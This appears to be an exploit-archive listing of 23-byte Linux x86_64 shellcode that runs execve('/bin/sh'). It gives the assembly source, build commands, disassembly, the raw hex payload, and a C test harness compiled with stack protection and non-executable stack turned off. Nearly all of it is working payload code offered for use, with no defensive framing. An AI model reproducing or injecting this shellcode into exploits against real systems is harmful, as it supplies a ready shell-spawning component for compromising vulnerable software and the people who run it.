Registerlinuxx64 execve(binsh) shellcode (23 bytes)
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/* ;Category: Shellcode ;Title: GNU/Linux x86_64 - execve /bin/sh ;Author: rajvardhan ;Date: 23/05/2019 ;Architecture: Linux x86_64 ;Possibly The Smallest And Fully Reliable Shellcode =========== Asm Source =========== global _start section .text _start: xor rsi,rsi push rsi mov rdi,0x68732f2f6e69622f push rdi push rsp pop rdi push 59 pop rax cdq syscall ================================ Instruction for nasm compliation ================================ nasm -f elf64 shellcode.asm -o shellcode.o ld shellcode.o -o shellcode =================== objdump disassembly =================== Disassembly of section .text: 0000000000401000 <_start>: 401000: 48 31 f6 xor %rsi,%rsi 401003: 56 push %rsi 401004: 48 bf 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rdi 40100b: 2f 73 68 40100e: 57 push %rdi 40100f: 54 push %rsp 401010: 5f pop %rdi 401011: 6a 3b pushq $0x3b 401013: 58 pop %rax 401014: 99 cltd 401015: 0f 05 syscall ================== 23 Bytes Shellcode ================== \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05 ====================== C Compilation And Test ====================== gcc -fno-stack-protector -z execstack shellcode.c -o shellcode */ #include <stdio.h> unsigned char shellcode[] = \ "\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"; int main() { int (*ret)() = (int(*)())shellcode; ret(); }
Linuxx64 execve(binsh) shellcode (23 bytes) Vulnerability / Exploit Source : Linuxx64 execve(binsh) shellcode (23 bytes)
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